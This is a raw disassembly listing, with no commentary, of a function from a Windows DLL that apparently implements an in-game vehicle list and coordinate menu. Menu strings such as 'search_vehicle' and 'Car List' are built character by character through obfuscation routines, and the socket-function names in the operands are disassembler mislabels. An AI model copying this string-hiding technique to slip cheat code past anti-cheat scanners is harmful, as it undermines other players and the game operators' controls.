lea rdx, [0x1805e5fe0]
lea rcx, [rbp + 0x4bf8]
call fcn.1800143f0
nop
lea rdx, [rbp + 0x3bf0]
lea rcx, [rbp + 0x4bf8]
call fcn.1800ed770
mov rdi, qword [rax]
lea rdx, [rbp + 0x3bf8]
lea rcx, [rbp + 0x4bf8]
call fcn.1800ed750
mov rbx, qword [rax]
lea rdx, [rbp + 0x3c00]
lea rcx, [rbp + 0x4bf8]
call fcn.1800ed770
lea rcx, [fcn.18016a070]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x3c08]
call fcn.1800ed900
lea rdx, [rbp + 0x4bf8]
lea rcx, [0x1805dde70]
call fcn.1800ae800
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x2f]
mov r9d, 0xeb
lea r8d, [rdx + 0x57]
lea rcx, [rbp + 0x4888]
call fcn.180011e40
movups xmm7, xmmword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xba8], xmm0
mov dword [rbp + 0xbb8], eax
mov word [rbp + 0xbbc], ax
mov byte [rbp + 0xbbe], al
mov cl, 0x20
call fcn.1800568e0
mov byte [rsp + 0x50], al
mov cl, 0x41
call fcn.1800568e0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800568e0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800568e0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800568e0
mov byte [rsp + 0x54], al
mov cl, 0x56
call fcn.1800568e0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800568e0
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800568e0
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.1800568e0
mov byte [rsp + 0x58], al
mov cl, 0x62
call fcn.1800568e0
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.1800568e0
mov byte [rsp + 0x5a], al
mov cl, 0x65
call fcn.1800568e0
mov byte [rsp + 0x60], al
mov cl, 0x20
call fcn.1800568e0
mov byte [rsp + 0x61], al
mov cl, 0x49
call fcn.1800568e0
mov byte [rsp + 0x62], al
mov cl, WSAGetLastError
call fcn.1800568e0
mov byte [rsp + 0x63], al
mov cl, 0x20
call fcn.1800568e0
movzx r13d, al
mov cl, 0x54
call fcn.1800568e0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800568e0
movzx r15d, al
mov cl, 0x61
call fcn.1800568e0
movzx r14d, al
mov cl, 0x63
call fcn.1800568e0
movzx esi, al
mov cl, 0x65
call fcn.1800568e0
movzx edi, al
mov cl, WSAStartup
call fcn.1800568e0
movzx ebx, al
xor ecx, ecx
call fcn.1800568e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xba8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xba9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xbaa], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xbab], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xbac], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xbad], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xbae], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xbaf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xbb0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xbb1], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xbb2], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xbb3], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xbb4], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xbb5], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xbb6], cl
mov byte [rbp + 0xbb7], r13b
mov byte [rbp + 0xbb8], r12b
mov byte [rbp + 0xbb9], r15b
mov byte [rbp + 0xbba], r14b
mov byte [rbp + 0xbbb], sil
mov byte [rbp + 0xbbc], dil
mov byte [rbp + 0xbbd], bl
mov byte [rbp + 0xbbe], al
lea rcx, [rbp + 0x2af8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov esi, reloc.WS2_32.dll_socket
mov edx, esi
lea rcx, [rbp + 0x2af8]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xba8]
call fcn.180014800
movzx ecx, byte [rax]
call fcn.1800568e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2af8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dd770
lea rcx, [rbp + 0x2af8]
call fcn.1800143e0
mov r8, rax
lea rdx, [rbp + 0x4bf8]
lea rcx, [rbp + 0x45c8]
call fcn.180063be0
movdqa xmmword [rbp - 0x70], xmm7
movaps xmm3, xmm6
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc598]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x2af8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4bf8]
call fcn.180011f20
movaps xmm1, xmm10
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x3c10]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm11
movaps xmm2, xmm8
lea rcx, [rbp + 0x3c18]
call fcn.180011e10
mov r13, rax
xor eax, eax
mov dword [rbp + 0x140], eax
mov word [rbp + 0x144], ax
mov cl, 0x43
call fcn.180014680
movzx r15d, al
mov cl, 0x6c
call fcn.180014680
movzx r14d, al
mov cl, 0x65
call fcn.180014680
movzx esi, al
mov cl, 0x61
call fcn.180014680
movzx edi, al
mov cl, WSAStartup
call fcn.180014680
movzx ebx, al
xor ecx, ecx
call fcn.180014680
mov byte [rbp + 0x140], r15b
mov byte [rbp + 0x141], r14b
mov byte [rbp + 0x142], sil
mov byte [rbp + 0x143], dil
mov byte [rbp + 0x144], bl
mov byte [rbp + 0x145], al
lea rcx, [rbp + 0x2b18]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x2b18]
call fcn.180014330
mov rdi, r12
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x140]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180014680
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2b18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dd8d1
lea rcx, [rbp + 0x2b18]
call fcn.1800143e0
mov rdx, r13
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2b18]
call fcn.180011f20
test bl, bl
je 0x1800dda77
lea rcx, [0x1805dde70]
call fcn.1800ed700
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x2f]
mov r9d, 0xeb
lea r8d, [rdx + 0x57]
lea rcx, [rbp + 0x4898]
call fcn.180011e40
movups xmm7, xmmword [rax]
xor eax, eax
mov qword [rbp + 0x1218], rax
mov cl, 0x43
call fcn.180056740
mov byte [rsp + 0x68], al
mov cl, 0x6c
call fcn.180056740
mov byte [rsp + 0x69], al
mov cl, 0x65
call fcn.180056740
mov byte [rsp + 0x6a], al
mov cl, 0x61
call fcn.180056740
mov byte [rsp + 0x6b], al
mov cl, WSAStartup
call fcn.180056740
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.180056740
mov byte [rsp + 0x6d], al
mov cl, 0x64
call fcn.180056740
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056740
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1218], rax
lea rcx, [rbp + 0x2b38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x2b38]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, r12
lea rcx, [rbp + 0x1218]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056740
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x2b38]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800dda00
lea rcx, [rbp + 0x2b38]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x45e8]
call fcn.1800143f0
movdqa xmmword [rbp - 0x70], xmm7
movaps xmm3, xmm6
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc598]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x2b38]
call fcn.180011f20
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
lea rcx, [rbp + 0x3c20]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
movaps xmm0, xmm8
call fcn.180076c20
mov dword [rsp + 0x20], 0xc8
mov eax, recv
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x48a8]
call fcn.180011e40
mov rdx, rax
mov ecx, 7
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x48b8]
call fcn.180011e40
mov rdx, rax
xor ecx, ecx
call fcn.180069630
lea rcx, [rbp + 0x3c28]
call fcn.180076f00
movss xmm2, dword [rax]
subss xmm2, xmm8
lea rdx, str.search_vehicle
lea rcx, [0x1805e6060]
call fcn.180068f50
mov ecx, 2
call fcn.180069690
lea rcx, [rbp + 0x3c30]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm6
call fcn.180076c20
lea rcx, [rbp + 0x3c38]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm13
lea rcx, [rbp + 0x3c40]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x3c48]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc80], xmm0
mov word [rbp + 0xc90], ax
mov byte [rbp + 0xc92], al
mov cl, 0x23
call fcn.180056850
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056850
mov byte [rsp + 0x51], al
mov cl, 0x76
call fcn.180056850
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180056850
mov byte [rsp + 0x53], al
mov cl, 0x68
call fcn.180056850
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.180056850
mov byte [rsp + 0x55], al
mov cl, 0x63
call fcn.180056850
mov byte [rsp + 0x56], al
mov cl, 0x6c
call fcn.180056850
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.180056850
mov byte [rsp + 0x58], al
mov cl, 0x5f
call fcn.180056850
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.180056850
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.180056850
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056850
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056850
movzx r15d, al
mov cl, 0x5f
call fcn.180056850
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056850
movzx esi, al
mov cl, 0x61
call fcn.180056850
movzx edi, al
mov cl, 0x62
call fcn.180056850
movzx ebx, al
xor ecx, ecx
call fcn.180056850
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc80], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc81], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc82], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc83], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc84], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc85], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc86], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc87], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc88], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc89], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc8a], cl
mov byte [rbp + 0xc8b], r13b
mov byte [rbp + 0xc8c], r12b
mov byte [rbp + 0xc8d], r15b
mov byte [rbp + 0xc8e], r14b
mov byte [rbp + 0xc8f], sil
mov byte [rbp + 0xc90], dil
mov byte [rbp + 0xc91], bl
mov byte [rbp + 0xc92], al
lea rcx, [rbp + 0x2b58]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40
xor r8d, r8d
mov edi, reloc.WS2_32.dll_send
mov edx, edi
lea rcx, [rbp + 0x2b58]
call fcn.180014330
xor esi, esi
nop
mov rdx, rsi
lea rcx, [rbp + 0xc80]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180056850
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2b58]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800ddd80
lea rcx, [rbp + 0x2b58]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x2b58]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x420], rax
mov byte [rbp + 0x428], al
mov cl, 0x43
call fcn.180014980
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180014980
movzx r13d, al
mov cl, WSAStartup
call fcn.180014980
movzx r12d, al
mov cl, 0x20
call fcn.180014980
movzx r15d, al
mov cl, 0x4c
call fcn.180014980
movzx r14d, al
mov cl, 0x69
call fcn.180014980
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014980
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014980
movzx ebx, al
xor ecx, ecx
call fcn.180014980
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x420], cl
mov byte [rbp + 0x421], r13b
mov byte [rbp + 0x422], r12b
mov byte [rbp + 0x423], r15b
mov byte [rbp + 0x424], r14b
mov byte [rbp + 0x425], sil
mov byte [rbp + 0x426], dil
mov byte [rbp + 0x427], bl
mov byte [rbp + 0x428], al
lea rcx, [rbp + 0x2b78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x2b78]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x420]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180014980
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2b78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ddec0
lea rcx, [rbp + 0x2b78]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x2b78]
call fcn.180011f20
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed060
test al, al
jne 0x1800de048
mov rcx, qword [0x1805e4828]
call fcn.180075760
movss xmm0, dword [0x1801ce7c0]
call fcn.180076c20
mov edi, r13d
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1c0
test rax, rax
je 0x1800de2cb
nop word [rax + rax]
mov ecx, edi
call fcn.180075e20
mov rdx, r13
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1b0
mov rcx, qword [rax]
cmp qword [0x1805e4f48], rcx
sete byte [rbp + 0x4baa]
mov rdx, r13
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1b0
lea rcx, [rax + 0x10]
call fcn.1800143e0
mov rdx, rax
xor r8d, r8d
lea rcx, [0x1805e6060]
call fcn.180069230
test al, al
je 0x1800de016
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3c50]
call fcn.180011e10
mov rbx, rax
mov rdx, r13
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1b0
lea rcx, [rax + 0x10]
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4baa]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800de016
mov rdx, r13
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1b0
mov rcx, qword [rax]
mov qword [0x1805e4f48], rcx
cmp byte [rbp + 0x4baa], 0
je 0x1800de024
call fcn.180075c30
call fcn.180075ea0
inc edi
movsxd r13, edi
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1c0
cmp r13, rax
jb 0x1800ddf60
jmp 0x1800de2cb
mov rcx, qword [0x1805e49d8]
call fcn.180075760
xor eax, eax
mov dword [rbp + 0xb8], eax
mov word [rbp + 0xbc], ax
mov byte [rbp + 0xbe], al
mov cl, 0x4e
call fcn.1800147e0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147e0
movzx r15d, al
mov cl, 0x20
call fcn.1800147e0
movzx r14d, al
mov cl, 0x43
call fcn.1800147e0
movzx esi, al
mov cl, 0x61
call fcn.1800147e0
movzx edi, al
mov cl, WSAStartup
call fcn.1800147e0
movzx ebx, al
xor ecx, ecx
call fcn.1800147e0
mov byte [rbp + 0xb8], r12b
mov byte [rbp + 0xb9], r15b
mov byte [rbp + 0xba], r14b
mov byte [rbp + 0xbb], sil
mov byte [rbp + 0xbc], dil
mov byte [rbp + 0xbd], bl
mov byte [rbp + 0xbe], al
lea rcx, [rbp + 0x2b98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000000
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x2b98]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xb8]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800147e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2b98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800de110
lea rcx, [rbp + 0x3c58]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2b98]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3c60]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2b98]
call fcn.180011f20
lea rcx, [rbp + 0x3c68]
call fcn.180076f00
movss xmm0, dword [rax + 4]
mulss xmm0, xmm9
call fcn.180076c20
xor eax, eax
mov dword [rbp + 0x60], eax
mov word [rbp + 0x64], ax
mov byte [rbp + 0x66], al
mov cl, 0x4e
call fcn.180056870
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056870
movzx r15d, al
mov cl, 0x20
call fcn.180056870
movzx r14d, al
mov cl, 0x43
call fcn.180056870
movzx esi, al
mov cl, 0x61
call fcn.180056870
movzx edi, al
mov cl, WSAStartup
call fcn.180056870
movzx ebx, al
xor ecx, ecx
call fcn.180056870
mov byte [rbp + 0x60], r12b
mov byte [rbp + 0x61], r15b
mov byte [rbp + 0x62], r14b
mov byte [rbp + 0x63], sil
mov byte [rbp + 0x64], dil
mov byte [rbp + 0x65], bl
mov byte [rbp + 0x66], al
lea rcx, [rbp + 0x2bb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000000
xor r8d, r8d
mov edi, 7
mov edx, edi
lea rcx, [rbp + 0x2bb8]
call fcn.180014330
mov rdx, r13
lea rcx, [rbp + 0x60]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180056870
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x2bb8]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800de254
lea rcx, [rbp + 0x2bb8]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x48c8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x2bb8]
call fcn.180011f20
call fcn.180075800
call fcn.180070430
lea rcx, [rbp + 0x3c70]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
movaps xmm0, xmm14
call fcn.180076c20
lea rcx, [rbp + 0x3c78]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm8
lea rcx, [rbp + 0x3c80]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x3c88]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x510], rax
mov dword [rbp + 0x518], eax
mov word [rbp + 0x51c], ax
mov byte [rbp + 0x51e], al
mov cl, 0x23
call fcn.180014760
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180014760
mov byte [rsp + 0x51], al
mov cl, 0x76
call fcn.180014760
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180014760
mov byte [rsp + 0x53], al
mov cl, 0x68
call fcn.180014760
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.180014760
mov byte [rsp + 0x55], al
mov cl, 0x63
call fcn.180014760
mov byte [rsp + 0x56], al
mov cl, 0x6c
call fcn.180014760
movzx r13d, al
mov cl, 0x65
call fcn.180014760
movzx r12d, al
mov cl, 0x5f
call fcn.180014760
movzx r15d, al
mov cl, 0x69
call fcn.180014760
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014760
movzx esi, al
mov cl, 0x66
call fcn.180014760
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014760
movzx ebx, al
xor ecx, ecx
call fcn.180014760
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x510], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x511], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x512], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x513], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x514], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x515], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x516], cl
mov byte [rbp + 0x517], r13b
mov byte [rbp + 0x518], r12b
mov byte [rbp + 0x519], r15b
mov byte [rbp + 0x51a], r14b
mov byte [rbp + 0x51b], sil
mov byte [rbp + 0x51c], dil
mov byte [rbp + 0x51d], bl
mov byte [rbp + 0x51e], al
lea rcx, [rbp + 0x2bd8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_ntohs
mov edx, edi
lea rcx, [rbp + 0x2bd8]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x510]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180014760
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2bd8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800de4b0
lea rcx, [rbp + 0x2bd8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x2bd8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x430], rax
mov byte [rbp + 0x438], al
mov cl, 0x43
call fcn.1800568c0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800568c0
movzx r13d, al
mov cl, WSAStartup
call fcn.1800568c0
movzx r12d, al
mov cl, 0x20
call fcn.1800568c0
movzx r15d, al
mov cl, 0x49
call fcn.1800568c0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800568c0
movzx esi, al
mov cl, 0x66
call fcn.1800568c0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568c0
movzx ebx, al
xor ecx, ecx
call fcn.1800568c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x430], cl
mov byte [rbp + 0x431], r13b
mov byte [rbp + 0x432], r12b
mov byte [rbp + 0x433], r15b
mov byte [rbp + 0x434], r14b
mov byte [rbp + 0x435], sil
mov byte [rbp + 0x436], dil
mov byte [rbp + 0x437], bl
mov byte [rbp + 0x438], al
lea rcx, [rbp + 0x2bf8]
call fcn.180011f00
mov dword [rsp + 0x70], 1
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x2bf8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x430]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800568c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2bf8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800de5f0
lea rcx, [rbp + 0x2bf8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x2bf8]
call fcn.180011f20
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1c0
test rax, rax
je 0x1800dfca1
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1e0
mov rbx, rax
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x4bc0]
call fcn.1800ed1d0
cmp rbx, rax
je 0x1800dfca1
mov rcx, qword [0x1805e4f48]
nop word [rax + rax]
cmp qword [rbx], rcx
je 0x1800de6a8
add rbx, 0x40
mov qword [rsp + 0x68], rbx
cmp rbx, rax
jne 0x1800de690
jmp 0x1800dfca1
movss xmm6, dword [rbx + 8]
movss xmm12, dword [rbx + 0xc]
movss xmm8, dword [rbx + 0x30]
movss xmm7, dword [rbx + 0x34]
movss xmm11, dword [rbx + 0x38]
lea rcx, [0x1805e5b90]
call fcn.1800543d0
mov rcx, rbx
call fcn.18002eaa0
mov byte [rsp + 0x7d], al
xor eax, eax
mov dword [rbp + 0x1144], eax
mov cl, 0x25
call fcn.180056910
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.180056910
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.180056910
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056910
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1144], eax
lea rcx, [rbp + 0x2c18]
call fcn.180011f00
mov dword [rsp + 0x5c], 8
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2c18]
call fcn.180014330
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1144]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2c18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800de750
cvtss2sd xmm6, xmm6
lea rcx, [rbp + 0x2c18]
call fcn.1800143e0
mov rdx, rax
movaps xmm2, xmm6
movq r8, xmm6
lea rcx, [rbp + 0x5040]
call fcn.1800b4330
nop
lea rcx, [rbp + 0x2c18]
call fcn.180011f20
lea rdx, [rbp + 0x5040]
lea rcx, [rbp + 0x4c18]
call fcn.1800143f0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfe0], xmm0
mov qword [rbp + 0xff0], rax
mov dword [rbp + 0xff8], eax
mov cl, 0x28
call fcn.180014740
mov byte [rsp + 0x50], al
mov cl, 0x58
call fcn.180014740
mov byte [rsp + 0x51], al
mov cl, 0x3a
call fcn.180014740
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x53], al
mov cl, 0x25
call fcn.180014740
mov byte [rsp + 0x54], al
mov cl, 0x2e
call fcn.180014740
mov byte [rsp + 0x55], al
mov cl, 0x66
call fcn.180014740
mov byte [rsp + 0x56], al
mov cl, 0x2c
call fcn.180014740
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x58], al
mov cl, 0x2d
call fcn.180014740
mov byte [rsp + 0x59], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x5a], al
mov cl, 0x59
call fcn.180014740
mov byte [rsp + 0x60], al
mov cl, 0x3a
call fcn.180014740
mov byte [rsp + 0x61], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x62], al
mov cl, 0x25
call fcn.180014740
mov byte [rsp + 0x63], al
mov cl, 0x2e
call fcn.180014740
mov byte [rsp + 0x78], al
mov cl, 0x66
call fcn.180014740
mov byte [rsp + 0x79], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x7a], al
mov cl, 0x2d
call fcn.180014740
mov byte [rsp + 0x7c], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x7b], al
mov cl, 0x5a
call fcn.180014740
movzx r13d, al
mov cl, 0x3a
call fcn.180014740
movzx r12d, al
mov cl, 0x20
call fcn.180014740
movzx r15d, al
mov cl, 0x25
